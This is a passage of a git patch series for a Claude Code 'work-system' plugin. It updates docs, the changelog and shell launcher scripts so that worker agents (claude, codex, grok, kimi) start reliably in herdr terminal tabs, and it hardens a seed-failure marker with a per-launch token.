 work-system 1.9.3 gave `/adopt` the same in-herdr tab launch as `/kickoff`: after it
@@ -142,9 +218,11 @@ optional `[agent-selector]` arg for it). Two durable decisions:
 
 ## `resume` mode: reopen a task tab a `/exit` closed
 
-A kickoff tab runs Claude as its **root pane** (argv-exec above), so a clean `/exit`
-— even one only meant to restart Claude Code — ends the pane and herdr closes the
-whole tab; the worktree and resumable session persist, but the tab is gone.
+A LEGACY kickoff tab runs Claude as its **root pane** (argv-exec above), so a clean
+`/exit` — even one only meant to restart Claude Code — ends the pane and herdr closes
+the whole tab; the worktree and resumable session persist, but the tab is gone. (On
+0.7.5+ the worker is started INTO a shell pane, so `/exit` leaves a bare shell in the
+tab instead — `resume` then simply reuses and re-`claude -c`s that tab.)
 `/continue <task>` **from the main session** recovers it via `herdr-launch.sh
 resume`, which — unlike `launch` — uses `herdr tab create` + `pane run "claude -c"`
 so Claude runs **inside a shell pane**. Two durable decisions:
@@ -156,10 +234,13 @@ so Claude runs **inside a shell pane**. Two durable decisions:
   prevention: argv-exec's race-freedom is verified (the gotcha below), and `/close`'s
   teardown (self-exit poller on `agent_status`, SessionEnd hook keyed to
   Claude-as-root-pane) is built around the root-pane model — changing it risks that
-  machinery with no way to live-verify here. So kickoff tabs still die on `/exit`;
-  reopen is the one-command recovery, and reopened tabs are hardened. A race-free
-  *prevention* (`agent start … -- bash -lc 'claude …; exec "$SHELL" -i'`) is possible
-  but deferred pending live herdr agent-detection verification.
+  machinery with no way to live-verify here. So legacy kickoff tabs still die on
+  `/exit`; reopen is the one-command recovery, and reopened tabs are hardened.
+  **herdr 0.7.5+ settled this by force:** `agent start` requires an existing pane, so
+  a modern kickoff worker is *already* a shell-pane process and its tab survives
+  `/exit`. Live-verified consequence: it is still a **registered agent** (started via
+  `agent start`), so `agent_status` keeps working and `/close`'s poller is unaffected
+  — the marker + SessionEnd hook, not the exit itself, closes the tab.
 - **`claude -c`, no session-id stash.** Resume runs `claude -c` (most-recent session
   for the cwd). Each worktree hosts exactly one task, so its cwd is a 1:1 proxy for
   the session — `-c` is already unambiguous, and stashing a session id at kickoff
@@ -285,6 +366,14 @@ this exact sequence was verified live by hand. The race is a low-probability cos
 a manual recovery action, accepted for the tab-survival payoff — not the automated,
 frequently-run kickoff, where argv-exec's certainty wins.
 
+**On herdr 0.7.5+ the argv escape hatch is gone** — `agent start` needs a pane, so
+every launch goes through one. The race is handled rather than avoided: for native
+workers herdr owns it (it refuses with `agent_pane_busy` until the pane is at a
+prompt, which the launcher retries), and for `pane run` wrappers the launcher gates
+on `process-info` showing the shell itself in the foreground before typing. Same
+guarantee, different owner — which is *why* the busy retry is not optional
+book-keeping but the modern equivalent of argv-exec's race-freedom.
+
 Related: [skill-composition](../architecture/skill-composition.md) (kickoff softly
 drives `/continue` across a process boundary) ·
 [worktree-task-file-copy](../architecture/worktree-task-file-copy.md) (why the
diff --git a/.claude/knowledge/features/kickoff-agent-selection.md b/.claude/knowledge/features/kickoff-agent-selection.md
index 9a9551f..68c751d 100644
--- a/.claude/knowledge/features/kickoff-agent-selection.md
+++ b/.claude/knowledge/features/kickoff-agent-selection.md
@@ -1,10 +1,10 @@
 ---
 title: "Kickoff Agent Selection: registry, per-repo default, honest degradation"
 createdAt: 2026-07-17
-updatedAt: 2026-08-05
+updatedAt: 2026-08-11
 createdFrom: "session: 2026-07-17 (task/kickoff-agent-selection)"
-updatedFrom: "session: 2026-08-05 (task/add-kimi-worker-support, post-swarm)"
-pluginVersion: 1.11.0
+updatedFrom: "session: 2026-08-11 (herdr transport metadata + kimi seed stop)"
+pluginVersion: 1.11.1
 prime: false
 ---
 
@@ -32,6 +32,16 @@ launch). Skills never hardcode the CLI list. `default get` **validates** its
 committed value against the registry — a stale/removed/attacker-supplied name
 reads as "no default" (→ picker), never routes or bricks kickoff.
 
+Ownership extends to **how the worker reaches herdr** (1.11.1): each entry declares
+`herdr_mode=agent-start|pane-run` + `herdr_kind`, so the launcher never infers
+transport from a selector name or by parsing `argv[0]`. `agent-start` asserts
+argv[0] *equals* the kind (herdr's canonical executable) and hands the untouched
+tail to `--kind`; `pane-run` is for wrappers that no native kind can express — kimi
+today, and a dynamically-registered cc-harness entry (`pane-run` +
+`herdr_kind=claude`) tomorrow, with no launcher change. An entry whose mode the
+launcher does not know fails closed before anything is created. See
+[[herdr-kickoff-automation]] for the launch-side contract.
+
 ## grok availability is model-aware and bounded
 grok drops/renames models between releases (composer `grok-composer-2.5-fast`
 died in 0.2.10x; `grok-build`→`grok-4.5` before that). So grok availability
@@ -53,16 +63,22 @@ entry point but is mutually exclusive with **both** `--auto` and `-y` and exits
 after one answer, so it cannot *be* the worker. What makes it work: `-p` runs
 tools unattended, and `kimi -c` inherits its session history. Hence two phases:
 
-    sh -c 'kimi -m "$1" -p "$2" || <report+wait>; exec kimi -c --auto' \
+    sh -c 'if kimi -m "$1" -p "$2"; then exec kimi -c --auto;
+           else <marker + exit $rc>; fi' \
        kimi-worker <model> <prompt>        # exact text: KIMI_LAUNCH_SCRIPT
 
-`exec` re-roots the pane at kimi (herdr then watches the real process). A failed
-seed must neither kill the pane (`&&`) nor pass unnoticed (a bare `;` — the TUI's
-first repaint scrolls the error away, leaving a tab that looks like a working
-worker but never read TASK.md), so the script **reports and waits for a keypress**
-before handing over. Verified: a failed seed in a fresh worktree yields a NEW empty
-session, never a foreign one — `kimi -c` is scoped to the working directory, so two
-worktrees cannot cross-resume. Values ride as
+`exec` re-roots the pane at kimi (herdr then watches the real process). **A failed
+seed is a hard stop (1.11.1).** The first shape ran phase 2 regardless after a
+keypress, which produced the very trap it meant to avoid: an empty `kimi -c --auto`
+session that never read TASK.md but looks alive to herdr's detection *and* to the
+user — and in an unattended background tab nobody is there to press the key anyway.
+Now the failure branch prints a machine-readable ASCII marker
+(`[work-system] WORKER_SEED_FAILED: …`, assembled at runtime so the literal is not
+in the typed command — see [[herdr-kickoff-automation]]), says TASK.md was not
+started, and exits with the **seed's own** code without touching phase 2, so the
+launcher can classify it as a definitive failure and roll the tab back. On legacy
+herdr, where the wrapper is the tab's root process, this also closes the tab — a
+closed tab is honest where the empty session was actively misleading. Values ride as
 `"$1"`/`"$2"` positionals, never spliced into the script text — `-p` swallows the
 next token, so a concatenated argv is one reordering away from silently eating a
 flag (`kimi -p --auto "…"` makes `--auto` the prompt). The test asserts the exact

From ba492c29590e7da83fc574b8fba27ae50ef99f06 Mon Sep 17 00:00:00 2001
From: Robert Gering <mail@robertgering.de>
Date: Wed, 12 Aug 2026 09:36:11 +0200
Subject: [PATCH 07/12] Release work-system 1.11.1

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AurDZwFXYtjzi5BUcMaxaW
---
 .claude-plugin/marketplace.json                | 2 +-
 CHANGELOG.md                                   | 9 +++++++++
 plugins/work-system/.claude-plugin/plugin.json | 2 +-
 3 files changed, 11 insertions(+), 2 deletions(-)

diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json
index dc54678..2139c41 100644
--- a/.claude-plugin/marketplace.json
+++ b/.claude-plugin/marketplace.json
@@ -18,7 +18,7 @@
       "name": "work-system",
       "source": "./plugins/work-system",
       "description": "Generic task and worktree workflow system for Claude Code. Manage tasks as markdown files, run them in isolated git worktrees with a choice of worker agent (Claude, codex, grok, or kimi), and track progress across the define/kickoff/continue/status/close lifecycle.",
-      "version": "1.11.0"
+      "version": "1.11.1"
     },
     {
       "name": "pr-flow",
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 2f5f217..8f31275 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -52,6 +52,15 @@ entries are grouped per plugin, newest first.
 
 ## work-system
 
+### 1.11.1 — 2026-08-12
+- Fix automated `/kickoff` and `/adopt` worker launches under **herdr 0.7.5+ (incl. 0.8)**, which failed with `herdr error: unknown option: --workspace` → "did not return a pane id". `agent start` no longer places the agent; it starts one in an **already-open pane** (`agent start <name> --kind <kind> --pane <id> [-- <args>]`), with placement moved to a preceding `tab create`. The launcher now creates the task's final tab first and starts the worker in its root pane.
+- The contract is **feature-detected** from `herdr agent start --help` (read-only, bounded) rather than compared against a version — 0.7.x spans both contracts, so a version check would route half of it wrong. herdr 0.7.0–0.7.4 keeps its exact previous sequence, diagnostics and stdout contract; an unrecognizable `agent start` fails before creating a tab or starting anything.
+- `agent-registry.sh resolve` now declares the transport per entry: `herdr_mode=agent-start` + `herdr_kind` for claude/codex/grok (argv[0] must equal the kind, is dropped, and every remaining argument keeps its order and boundaries), `herdr_mode=pane-run` + `herdr_marker=` for kimi's two-phase wrapper. Unknown transport metadata fails closed before anything is created. The metadata is generic so a dynamically-registered wrapper entry needs no launcher change.
+- `agent_pane_busy` — herdr's rejection while the new pane's login shell is still running its rc files — is retried within a bounded window, and no other error is ever retried. Wrapper workers get a `pane process-info`-based shell-prompt wait before their command is typed, then are confirmed by polling until herdr detects the expected kind in that exact pane.
+- New fail-closed launch result `blocked=unverified` (exit 0, `blocked` first): a tab exists and a worker may be running, but the launch could not be confirmed (readiness timeout, unclassifiable herdr error, pane-id mismatch, wrong detected kind, or an unconfirmed rollback). `/kickoff` and `/adopt` branch on it **before** `moved=`, send you to inspect that tab, and must not relaunch, print the manual worker command, or persist a project default. Failures that provably started nothing roll their tab back exactly once instead.
+- A failed kimi seed is now a hard stop: it prints a machine-readable marker, states TASK.md was not started, and exits with the seed's own code — no keypress wait and no empty `kimi -c --auto` session that looks like a healthy worker. The marker is assembled at runtime, because a pane echoes the command it was given and the literal in the script text made a *healthy* launch roll itself back (found in live 0.8 testing).
+- Lifecycle docs corrected: on 0.7.5+ the worker runs **inside** a shell pane, so a clean `/exit` no longer closes its tab — `/close`'s armed marker plus the `SessionEnd` hook is the primary teardown there. No teardown behavior changed; the worker is still a registered agent, so `agent_status` polling is unaffected.
+
 ### 1.11.0 — 2026-08-03
 - `/kickoff` can launch the **kimi CLI** (kimi-code) as a worker: `--kimi` → `kimi:kimi-code/k3-256k`, joining claude/codex/grok in `agent-registry.sh`. It appears in the picker and can be saved as the repo default, where it announces like the other third-party workers.
 - kimi is the first worker without a `<cli> -m <model> <prompt>` launch form — it has no positional launch prompt, no initial-prompt env var, and piped stdin only prefills the input box (and would steal the TUI's tty). Its `-p` flag is the only entry point, but it cannot be combined with `--auto`/`-y` and exits after one answer. Since `-p` does run tools unattended and `kimi -c` inherits its history, the launch is two-phase: `sh -c 'kimi -m "$1" -p "$2" || <report+wait>; exec kimi -c --auto' …` — the seed works the task through once, then `exec` hands over to the interactive autonomous session. So a kimi tab has already made progress by the time you switch to it.
diff --git a/plugins/work-system/.claude-plugin/plugin.json b/plugins/work-system/.claude-plugin/plugin.json
index 428cd2e..25393c6 100644
--- a/plugins/work-system/.claude-plugin/plugin.json
+++ b/plugins/work-system/.claude-plugin/plugin.json
@@ -1,7 +1,7 @@
 {
   "name": "work-system",
   "description": "Generic task and worktree workflow system for Claude Code. Manage tasks as markdown files, run them in isolated git worktrees with a choice of worker agent (Claude, codex, grok, or kimi), and track progress across the define/kickoff/continue/status/close lifecycle.",
-  "version": "1.11.0",
+  "version": "1.11.1",
   "author": {
     "name": "gering"
   },

From 032c2194c75a43b6445294a0036bab8742767f31 Mon Sep 17 00:00:00 2001
From: Robert Gering <mail@robertgering.de>
Date: Wed, 12 Aug 2026 11:13:24 +0200
Subject: [PATCH 08/12] Harden the launcher against its own review round
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Swarm review (11 Claude lenses) found the seed-failure marker was still
forgeable and three smaller gaps. Fixes, most severe first:

- the marker is only definitive when it carries this launch's random seed
  token, passed as a `WORK_SYSTEM_SEED_TOKEN=` prefix on the pane-run
  command. A pane's text is worker-controlled: the seed reads repository
  files, and this repo's TASK.md, CHANGELOG and tests all name the marker
  constant — a bare match would tear down healthy workers
- the marker is checked before the kind match, since herdr detects the
  wrapper's CLI seconds into the seed and both signals can be true at
  once; the window it can and cannot cover is now documented, not implied
- the legacy path confirms a wrapper's pane is still alive before
  reporting moved=yes: there the wrapper is the tab's root process, so a
  dead seed closes the tab we were about to call running. Native legacy
  launches keep their byte-identical fast path
- `unknown` shell readiness now spends the whole bounded window instead
  of typing immediately, which had handed back the rc-file keystroke race
- a failed `--help` probe reports itself as a probe failure, not as an
  unrecognizable herdr contract (both still fail closed)
- the tab-create parser resolves each id independently, so a wrong-shaped
  `tab` field no longer discards a usable pane id
- sibling scripts resolve via a real SCRIPT_DIR; `${0%/*}` silently
  disabled rollback whenever $0 had no slash
- `run_bounded` moves to lib-bounded.sh, sourced by both scripts (the two
  copies had already drifted), and now also wraps every polling read
- the three registry row readers collapse into one, so a column change
  cannot be applied to two of them and forgotten in the third
- /adopt references kickoff's result contract instead of restating it

Two findings were rejected: gating on `interactive_ready` (herdr's start
contract already means detected-and-ready) and routing the no-selector
default through the registry (it deliberately omits --model so the user's
own default model applies).

Re-verified live on herdr 0.8: a --kimi launch still comes up in ~5s and
the echoed command does not contain the grep target.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AurDZwFXYtjzi5BUcMaxaW
---
 .../features/herdr-kickoff-automation.md      |  56 ++++-
 CHANGELOG.md                                  |   4 +-
 plugins/work-system/scripts/agent-registry.sh | 126 +++++-----
 plugins/work-system/scripts/herdr-launch.sh   | 218 +++++++++++++-----
 plugins/work-system/scripts/lib-bounded.sh    |  54 +++++
 .../scripts/test_agent_registry.py            |   7 +-
 .../work-system/scripts/test_herdr_launch.py  | 143 +++++++++++-
 plugins/work-system/skills/adopt/SKILL.md     |  15 +-
 8 files changed, 458 insertions(+), 165 deletions(-)
 create mode 100644 plugins/work-system/scripts/lib-bounded.sh

diff --git a/.claude/knowledge/features/herdr-kickoff-automation.md b/.claude/knowledge/features/herdr-kickoff-automation.md
index db10dab..cfb167b 100644
--- a/.claude/knowledge/features/herdr-kickoff-automation.md
+++ b/.claude/knowledge/features/herdr-kickoff-automation.md
@@ -181,17 +181,47 @@ decisions from the fix:
   "the verified worker is in its dedicated tab", and changing the key would break
   every caller for a cosmetic gain.
 
-### Gotcha: a pane echoes the command you typed into it
+### Gotcha: a pane's text is worker-controlled — a fixed marker is forgeable
 
-The wrapper's seed-failure marker (`WORKER_SEED_FAILED`, greppable via `pane read
---source visible`) originally appeared as a literal inside the wrapper script. Live
-result: a **healthy** `--kimi` launch was rolled back after 2s, because the pane
-displays the command line it was given — so the launcher grepped its own typed
-command and "found" a failure. The wrapper now assembles the token at runtime
-(`m=WORKER_SEED` … `${m}_FAILED`), so the literal exists only in the printed output.
-Generalizes: any marker a supervisor greps out of a terminal must not appear in the
-text that supervisor types INTO that terminal. (`pane read`'s default `--source
-recent` also returns nothing once a pane settles — `visible` is the usable snapshot.)
+The wrapper's seed-failure marker is greppable out of the pane (`pane read --source
+visible`; the default `recent` returns nothing once a pane settles). It took **two**
+independent fixes to make that grep trustworthy, and the second only landed because
+a review asked "who else can write this text?":
+
+1. The literal must not appear in the command the launcher TYPES. A pane echoes its
+   command line, so a script containing the token made a **healthy** `--kimi` launch
+   roll itself back after 2s (found live). The wrapper assembles it instead
+   (`m=WORKER_SEED` … `${m}_FAILED`).
+2. The literal must not appear in anything the worker READS. The kimi seed's whole
+   job is reading repository files — and in a work-system repo, TASK.md, the
+   CHANGELOG and the tests all legitimately name the marker. So the launcher mints a
+   random **per-launch token**, passes it as a `WORK_SYSTEM_SEED_TOKEN=…` prefix on
+   the `pane run` command (argv_shell itself stays untouched — no re-quoting), and
+   greps for `<marker>:<token>`. A host that cannot mint one degrades to *no* marker
+   detection rather than to a forgeable constant: losing a signal is safe, trusting
+   a fake one is not.
+
+Generalizes: a supervisor that greps a terminal for a control signal must own that
+signal end to end — it may not appear in what the supervisor types in, nor in
+anything the supervised process can read and echo. Fixing only the first channel
+looks complete and isn't.
+
+**What the marker window honestly covers.** herdr detects the wrapper's CLI within
+seconds of the seed starting, so the marker is checked BEFORE the kind match (both
+can be true in one poll, and a worker that announced its own death must not read as
+a live one). It catches a seed that dies before the launch is confirmed — the common
+failure (expired auth, an unconfigured model), exactly when a clean "it didn't
+start" beats a tab to inspect. It cannot catch a seed that fails minutes later: the
+seed phase IS the task work, so waiting for it is not a launch-time option. A launch
+reported here was real when reported; a later death is an ordinary worker crash.
+
+**Legacy has the same hazard with a different shape.** There the wrapper is the
+tab's ROOT process, so an instantly-failing seed takes the pane and the tab with it —
+and the legacy path would still print `moved=yes` for a tab herdr had already
+closed. It now confirms the pane is alive first (a liveness check, no text grepping
+at all — the pane is gone, which is unforgeable). Native legacy launches skip the
+check entirely: their argv cannot self-terminate on a bad seed, and that contract is
+meant to stay byte-identical.
 
 ## `/adopt` auto-launch: reference kickoff's prose, don't duplicate it
 
@@ -221,8 +251,10 @@ optional `[agent-selector]` arg for it). Two durable decisions:
 A LEGACY kickoff tab runs Claude as its **root pane** (argv-exec above), so a clean
 `/exit` — even one only meant to restart Claude Code — ends the pane and herdr closes
 the whole tab; the worktree and resumable session persist, but the tab is gone. (On
-0.7.5+ the worker is started INTO a shell pane, so `/exit` leaves a bare shell in the
-tab instead — `resume` then simply reuses and re-`claude -c`s that tab.)
+0.7.5+ the worker is started INTO a shell pane, so `/exit` leaves a bare shell in
+the tab instead — `resume` then finds that tab still open and only *focuses* it
+(`reused=yes`, `resumed=` empty); the `claude -c` is the caller's to run, since a
+cwd match cannot tell a live Claude from a surviving shell.)
 `/continue <task>` **from the main session** recovers it via `herdr-launch.sh
 resume`, which — unlike `launch` — uses `herdr tab create` + `pane run "claude -c"`
 so Claude runs **inside a shell pane**. Two durable decisions:
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 8f31275..eba5def 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -58,7 +58,9 @@ entries are grouped per plugin, newest first.
 - `agent-registry.sh resolve` now declares the transport per entry: `herdr_mode=agent-start` + `herdr_kind` for claude/codex/grok (argv[0] must equal the kind, is dropped, and every remaining argument keeps its order and boundaries), `herdr_mode=pane-run` + `herdr_marker=` for kimi's two-phase wrapper. Unknown transport metadata fails closed before anything is created. The metadata is generic so a dynamically-registered wrapper entry needs no launcher change.
 - `agent_pane_busy` — herdr's rejection while the new pane's login shell is still running its rc files — is retried within a bounded window, and no other error is ever retried. Wrapper workers get a `pane process-info`-based shell-prompt wait before their command is typed, then are confirmed by polling until herdr detects the expected kind in that exact pane.
 - New fail-closed launch result `blocked=unverified` (exit 0, `blocked` first): a tab exists and a worker may be running, but the launch could not be confirmed (readiness timeout, unclassifiable herdr error, pane-id mismatch, wrong detected kind, or an unconfirmed rollback). `/kickoff` and `/adopt` branch on it **before** `moved=`, send you to inspect that tab, and must not relaunch, print the manual worker command, or persist a project default. Failures that provably started nothing roll their tab back exactly once instead.
-- A failed kimi seed is now a hard stop: it prints a machine-readable marker, states TASK.md was not started, and exits with the seed's own code — no keypress wait and no empty `kimi -c --auto` session that looks like a healthy worker. The marker is assembled at runtime, because a pane echoes the command it was given and the literal in the script text made a *healthy* launch roll itself back (found in live 0.8 testing).
+- A failed kimi seed is now a hard stop: it prints a machine-readable marker, states TASK.md was not started, and exits with the seed's own code — no keypress wait and no empty `kimi -c --auto` session that looks like a healthy worker. The launcher treats that marker as a definitive failure and rolls the tab back, but only when it carries **this launch's random seed token**: a pane's contents are worker-controlled (it echoes the command it was given, and the seed reads repository files — this repo's own TASK.md, CHANGELOG and tests all name the marker), so a bare constant would tear down healthy workers. Found live in 0.8 testing, where the echoed command alone rolled a *healthy* launch back after two seconds.
+- The marker is checked before the kind match in every poll, since herdr detects the wrapper's CLI within seconds of the seed starting and both signals can be true at once. What it catches, stated plainly: a seed that dies **before** the launch is confirmed (expired auth, an unconfigured model). A seed that fails minutes later cannot be caught at launch time — the seed phase *is* the task work — and is an ordinary worker crash, not a bad launch.
+- On the legacy path a wrapper worker is the tab's root process, so a seed that exits at once takes the tab with it. The launcher now confirms the pane is still alive before reporting `moved=yes`, instead of pointing the user at a tab herdr already closed. Native legacy launches keep their byte-identical fast path.
 - Lifecycle docs corrected: on 0.7.5+ the worker runs **inside** a shell pane, so a clean `/exit` no longer closes its tab — `/close`'s armed marker plus the `SessionEnd` hook is the primary teardown there. No teardown behavior changed; the worker is still a registered agent, so `agent_status` polling is unaffected.
 
 ### 1.11.0 — 2026-08-03
diff --git a/plugins/work-system/scripts/agent-registry.sh b/plugins/work-system/scripts/agent-registry.sh
index 0f18d5b..02d0e60 100755
--- a/plugins/work-system/scripts/agent-registry.sh
+++ b/plugins/work-system/scripts/agent-registry.sh
@@ -83,6 +83,12 @@
 #             3 resolved but the entry's CLI is unavailable
 set -euo pipefail
 
+# Where this script (and its sibling helpers) actually live. `${0%/*}` is NOT a
+# safe substitute: invoked as a bare name (`bash agent-registry.sh`, or via PATH)
+# it has no slash, so `${0%/*}` yields the FILENAME and every sibling path built
+# from it silently misses.
+SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "${BASH_SOURCE[0]:-$0}")" && pwd)"
+
 HOME="${HOME:-$(cd ~ 2>/dev/null && pwd || echo /nonexistent)}"
 # The ONLY persisted state: the per-repo committed `default` agent. No global
 # state, no shipped fallback — if a repo has no default, /kickoff shows the
@@ -119,12 +125,18 @@ BOOTSTRAP_PROMPT='Read TASK.md in this worktree and continue the task. Commit on
 # instead of an ambiguous "maybe still starting" timeout. Emitted to callers as
 # `herdr_marker=` for every pane-run entry — never hardcode it in a consumer.
 #
-# The wrapper ASSEMBLES the token at runtime (`m=WORKER_SEED` … `${m}_FAILED`) so
-# the whole literal never appears in the command line itself. Found live: a pane
-# echoes the command it was given, so a script containing the literal token made
-# the launcher "detect" a seed failure the instant it typed the command — killing
-# a perfectly healthy launch. Splitting it keeps the printed output greppable while
-# the typed command is not.
+# Two properties make the printed marker safe to grep out of a pane, and BOTH are
+# needed — the pane's text is worker-controlled, so a bare well-known constant is
+# forgeable by anything the worker echoes:
+#   1. The wrapper ASSEMBLES the token at runtime (`m=WORKER_SEED` … `${m}_FAILED`)
+#      so the literal never appears in the command line the pane echoes back.
+#      Found live: a script containing the literal made the launcher "detect" a
+#      seed failure the instant it typed the command, killing a healthy launch.
+#   2. The printed line carries a PER-LAUNCH token from $WORK_SYSTEM_SEED_TOKEN,
+#      which the launcher mints and greps for as `<marker>:<token>`. Without it,
+#      any file the seed reads and echoes — this repo's own TASK.md, CHANGELOG and
+#      tests all name the marker — would tear down a healthy tab. Unset (a manual
+#      paste) prints `:none`, which no launcher is waiting for.
 SEED_FAIL_MARKER='WORKER_SEED_FAILED'
 SEED_MARKER_HEAD="${SEED_FAIL_MARKER%_FAILED}"
 
@@ -149,7 +161,7 @@ SEED_MARKER_HEAD="${SEED_FAIL_MARKER%_FAILED}"
 # Kept ASCII-only and free of backslash escapes so `shell_quote` renders it as a
 # plain single-quoted word in `argv_shell=` — a `$'…'` form would be bash/zsh-only
 # and near-unreadable in the copy-paste block.
-KIMI_LAUNCH_SCRIPT='if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; m='"$SEED_MARKER_HEAD"'; echo; echo "[work-system] ${m}_FAILED: kimi seed exited $rc - TASK.md was NOT started and no session was opened."; exit $rc; fi'
+KIMI_LAUNCH_SCRIPT='if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; m='"$SEED_MARKER_HEAD"'; echo; echo "[work-system] ${m}_FAILED:${WORK_SYSTEM_SEED_TOKEN:-none}: kimi seed exited $rc - TASK.md was NOT started and no session was opened."; exit $rc; fi'
 
 # ---------- registry ----------
 # `flag|cli|model|supports|herdr_mode|herdr_kind`. flag `-` = no shorthand
@@ -189,39 +201,36 @@ usage() {
 # Emit one `flag|cli|model|supports|herdr_mode|herdr_kind` record per line.
 registry_rows() { printf '%s\n' "$REGISTRY"; }
 
-# Re-emit a record with a FIXED field count, so every row_for_* returns the same
-# shape even if a row were ever short a trailing field (a short row must not shift
-# the transport metadata into `supports`). One definition, used by all three.
-emit_row() { printf '%s|%s|%s|%s|%s|%s\n' "$1" "$2" "$3" "$4" "$5" "$6"; }
-
-# Print the whole record for a canonical name (cli:model), or nothing.
-row_for_name() {
-  local want="$1" flag cli model supports mode kind
+# find_row <how> <want> — the ONE reader over the registry table. `how` picks what
+# `want` is matched against: `name` (canonical cli:model), `flag` (shorthand, `-`
+# rows skipped), or `cli` (first row of that CLI = its default model). Prints the
+# matched record with a FIXED field count — so a row that were ever short a
+# trailing field cannot shift the transport metadata into `supports` — or fails (1).
+#
+# Deliberately one function, not three near-identical loops: the `read -r` field
+# list appears EXACTLY once, so adding a registry column can't be applied to two
+# readers and forgotten in the third (which would make a bare `--agent codex`
+# resolve a mangled row while `--codex` still worked — a bug that reads as
+# agent-specific when it is really reader-specific).
+find_row() {
+  local how="$1" want="$2" flag cli model supports mode kind
   while IFS='|' read -r flag cli model supports mode kind; do
     [ -n "$cli" ] || continue
-    [ "$cli:$model" = "$want" ] && { emit_row "$flag" "$cli" "$model" "$supports" "$mode" "$kind"; return 0; }
-  done < <(registry_rows)
-  return 1
-}
-
-# Print the record whose shorthand flag matches, or nothing.
-row_for_flag() {
-  local want="$1" flag cli model supports mode kind
-  while IFS='|' read -r flag cli model supports mode kind; do
-    [ "$flag" = "-" ] && continue
-    [ "$flag" = "$want" ] && { emit_row "$flag" "$cli" "$model" "$supports" "$mode" "$kind"; return 0; }
+    case "$how" in
+      name) [ "$cli:$model" = "$want" ] || continue ;;
+      flag) [ "$flag" = "-" ] && continue; [ "$flag" = "$want" ] || continue ;;
+      cli)  [ "$cli" = "$want" ] || continue ;;
+      *)    return 1 ;;
+    esac
+    printf '%s|%s|%s|%s|%s|%s\n' "$flag" "$cli" "$model" "$supports" "$mode" "$kind"
+    return 0
   done < <(registry_rows)
   return 1
 }
 
-# Print the default (first) record for a bare CLI name, or nothing.
-row_for_cli_default() {
-  local want="$1" flag cli model supports mode kind
-  while IFS='|' read -r flag cli model supports mode kind; do
-    [ "$cli" = "$want" ] && { emit_row "$flag" "$cli" "$model" "$supports" "$mode" "$kind"; return 0; }
-  done < <(registry_rows)
-  return 1
-}
+row_for_name()        { find_row name "$1"; }
+row_for_flag()        { find_row flag "$1"; }
+row_for_cli_default() { find_row cli  "$1"; }
 
 # Resolve any selector to a registry record. Order: shorthand flag, canonical
 # cli:model name, bare CLI (its default model). Prints the record or fails (1).
@@ -263,46 +272,15 @@ row_for_selector() {
 #           live), so a bare substring would also fire on the alias appearing as
 #           a VALUE (a `default_model`/metadata field) while `models` is empty.
 
-# run_bounded <seconds> <cmd...> — run cmd with a hard time bound so an external
-# probe can never hang `list`/the picker. Prints cmd's stdout; returns cmd's exit
-# code, or non-zero if it hit the bound. Uses timeout/gtimeout when present; else
-# self-bounds with a detached killer that escalates SIGTERM -> SIGKILL, so a
-# process that ignores SIGTERM still can't block the caller. The killer's fds go
-# to /dev/null: this runs inside a command substitution, and a background job
-# holding the captured pipe would make $(...) block until it exits.
-run_bounded() {
-  local secs="$1"; shift
-  local rc=0
-  # `-k 1`: GNU timeout only SIGTERMs at the deadline then waits — a child that
-  # ignores SIGTERM would run forever on the COMMON path (any host with timeout/
-  # gtimeout). --kill-after escalates to SIGKILL, matching the self-watchdog below.
-  if command -v timeout >/dev/null 2>&1; then
-    timeout  -k 1 "$secs" "$@" || rc=$?
-  elif command -v gtimeout >/dev/null 2>&1; then
-    gtimeout -k 1 "$secs" "$@" || rc=$?
-  else
-    # No timeout binary — self-bound. cmd stdout -> a temp file, NOT this
-    # function's stdout: if the killer has to SIGKILL the cmd, an orphaned
-    # grandchild (e.g. a `sleep` the cmd spawned) inherits the cmd's fds — and if
-    # that were the command-substitution pipe, the capturing $(...) would block
-    # until the orphan dies. Writing to $tmp means the only thing on our stdout is
-    # the final `cat`, so $() returns as soon as we do. The killer escalates
-    # SIGTERM -> SIGKILL so a process ignoring SIGTERM still can't hang the caller.
-    local tmp; tmp="$(mktemp)"
-    "$@" >"$tmp" &
-    local pid=$!
-    ( sleep "$secs"; kill "$pid" 2>/dev/null; sleep 2; kill -9 "$pid" 2>/dev/null ) >/dev/null 2>&1 &
-    local killer=$!
-    if wait "$pid" 2>/dev/null; then rc=0; else rc=$?; fi
-    kill "$killer" 2>/dev/null || true
-    cat "$tmp"; rm -f "$tmp"
-  fi
-  # Normalize a bounded kill to ONE "timed out" code (124): GNU timeout reports
-  # 124 (SIGTERM) or 137 (needed SIGKILL); the watchdog's `wait` yields 137/143.
-  # Callers use 124 to treat a slow probe as inconclusive, distinct from a real
-  # non-zero exit (e.g. genuine auth failure).
-  case "$rc" in 137|143) rc=124 ;; esac
-  return "$rc"
+# `run_bounded <seconds> <cmd...>` — the shared time bound for every probe below,
+# so an external CLI can never hang `list`/the picker. Defined once in
+# lib-bounded.sh (herdr-launch.sh sources the same file): two private copies had
+# already drifted apart, and a sibling-script dependency is the norm here anyway.
+_LIB_BOUNDED="$SCRIPT_DIR/lib-bounded.sh"
+# shellcheck source=lib-bounded.sh
+. "$_LIB_BOUNDED" 2>/dev/null || {
+  echo "agent-registry.sh: cannot source $_LIB_BOUNDED (it ships alongside this script)" >&2
+  exit 1
 }
 
 # Print `grok models` RAW output on stdout; RETURN 0 iff the fetch succeeded,
diff --git a/plugins/work-system/scripts/herdr-launch.sh b/plugins/work-system/scripts/herdr-launch.sh
index 2b7e700..fb23cef 100755
--- a/plugins/work-system/scripts/herdr-launch.sh
+++ b/plugins/work-system/scripts/herdr-launch.sh
@@ -50,8 +50,10 @@
 #                         closed — which is what happens to a LEGACY kickoff tab,
 #                         where the worker is the tab's root pane. A modern kickoff
 #                         tab already runs its worker inside a shell pane, so there
